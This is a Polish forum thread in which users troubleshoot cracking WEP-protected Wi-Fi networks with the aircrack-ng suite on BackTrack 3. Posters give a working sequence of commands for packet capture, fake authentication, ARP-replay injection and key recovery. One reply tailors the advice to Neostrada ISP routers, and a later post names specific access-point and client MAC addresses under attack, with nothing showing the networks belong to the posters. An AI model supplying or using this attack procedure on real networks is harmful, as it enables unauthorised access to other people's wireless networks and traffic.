Aircrack + bt 2 kilka problemów

[TQM]

Ahhh! No to znaczy ze klient skanuje dostepne sieci ale sie nie podlaczyl. Mozliwe ze podpial sie do sieci na innym kanale ale tak czy inaczej jak wysylal zapytania jakie tu sa sieci to wyslal jedno na kanale 10 rowniez.

Wtedy widzisz ze taki klient byl i pytal ale nie nie podlaczyl sie do zadnej z sieci. Jesli masz nasluch na 1 kanal tylko to mozliwe ze typ siedzi w sieci na innym kanale.

[maselko]

No wykrywa mi dwie sieci na 10 kanale i jedną na 6 kanale.

I MAC klienta jest taki sam jak próbuję wysyłać pakiety na 6 i taki sam jak na 10 kanał.

Lecz na obu jest Zamiast (not associated).

[TQM]

Wiesz... klient moze skanowac sieci a nie probowac sie do nich podlaczac, w efekcie czego bedziesz widzial ze jakis tam sobie klient jest ale co z tego - nie jest podpiety do zadnej sieci.

[maselko]

No właśnie i to chyba jest problemem. Za pierwszym razem udało mi się wstrzykiwać pakiety, a teraz nie da rady i nie wiem dlaczego

[maselko]

Kupiłem lepszą antenkę.

Włączyłem BT3 odpaliłem roota i wpisuję :P

airodump-ng -c 10 -w wep --ivs wlan0

Wyszukuje mi dwie sieci. Jedna wep druga wpa po chwili pokazuje mi jednego klienta podłączonego do sieci z zabezpieczeniem wep i o to chodzi :]

IV idą bardzo powoli prawie wcale i chcąc to przyspieszyć odpalam:

aireplay-ng --arpreplay -b MAC_AP -h MAC_CLIENT wlan0

I raz mi chyba tylko załapało arp i zaczął wstrzykiwać pakiety lecz zbyt bardzo to nie pomogło ;/

Wiecie może jak przyspieszyć, żeby te pakiety jakoś przyleciały bo w takim tempie to ze 3 dni będzie szło.

Kolejnym problemem jest uruchomienie aircraka.
Wpisując to:

aircrack-ng -n 64 -b MAC_AP wep.ivs

wyskakuje mi że nie może znaleźć pliku ;/ O co chodzi ?

[Teeed]

sprobuj
aircrack-ng -n 64 -b MAC_AP *.ivs

[fakeauthority]

Włączyłem BT3 odpaliłem roota i wpisuję :P

airodump-ng -c 10 -w wep --ivs wlan0

No ok, ale nie podałeś

(--bssid)

Nie lepiej wpierw dowiedzieć się jaką chcesz sieć łamać i potem wpisać te (bssid) ? np:

airodump-ng -c <kanał> -w <nazwa bez rozszerzenia np: kot> --bssid <MAC bssid> <urządzenie np rausb0>

Wyszukuje mi dwie sieci. Jedna wep druga wpa po chwili pokazuje mi jednego klienta podłączonego do sieci z zabezpieczeniem wep i o to chodzi :]

IV idą bardzo powoli prawie wcale i chcąc to przyspieszyć odpalam:

aireplay-ng --arpreplay -b MAC_AP -h MAC_CLIENT wlan0

Jak idą powoli? Przypominam, że zapomniałeś podać MAC Acces Pointa. Po tamtej komendzie wpisz:

aireplay-ng -1 0 -a <MAC bssid> -h <twoje MAC> <urzadzenie>

Jak będzie "successful : - )" To znaczy, że będziesz mógł pobierać IV's
Wtedy wpisz:

aireplay-ng -3 -b <MAC bssid> -h <twoje MAC> <urzadzenie>

Jak zacznie się wszystko kręcić i uzbierasz więcej niż 40.000 to możesz użyć komendy:
aircrack-ng -n 128 --bssid <MAC bssid> <tutaj zapis, np: kot>*.cap

Podałem tutaj -n 128, gdyż neostrady mają 23 kodowane znaki, a to jest 128 bitów.

[maselko]

Ok wielkie dzięki. Zaraz zaczynam próbować

[TxC]

Witam.
Mam problem i proszę o pomoc.

Mój komp:
- duron 900MHz
- Karta RALINK RT61 (WLAN0)
- BT3
- Win XP Pro

MAC AP którego atakuje: - 00:A0:C5:5D:2E:8F
MAC klienta podłaczonego do AP - 00:19:7E:A9:86:FA
Plik do którego zapisuje pakiety - ALL

Odpalam BT3 i wpisuje:

airmon-ng start wlan0

następnie:

airodump-ng -c 7 -w ALL wlan0

Zaczyna mi zapisywać do pliku pakiety z kanału 7
oraz pokazuje "station" podłączone do AP atakowanego
Żeby przyspieszyć pakiety wpisuje:

aireplay-ng -3 -b 00:A0:C5:5D:2E:8F -h 00:19:7E:A9:86:FA wlan0

Program aireplay zaczyna prace, po jakimś czasie widzę że znalazł kilkadziesiąt "ARP" i pakiety ("#Data") lecą całkiem nieźle.
Do tej porz wzgląda na to że jest wszystko OK.
Po kilkunastu godzinach zamykam BT3 odpalam Winde:
kopiuje plik ALL-01.cap do folderu (BIN) w którym znajduje się aircrack-ng
Następnie: Start---->uruchom--->:

CMD

następnie:

aircrack-ng ALL-01.cap

Wybrałem sieć która mnie interesowała (00:A0:C5:5D:2E:8F)
Zaczyna sie rozkodowywać... po 20min poszedlem spać
rano wstaje i widze że cały czas się rozkodowuje:
http://www.zippyshare.com/v/36821924/file.html
Podobno powinno się wyliczać max kilkadziesiąt sekund a nie ponad 10h
Co robie źle?
pomocy....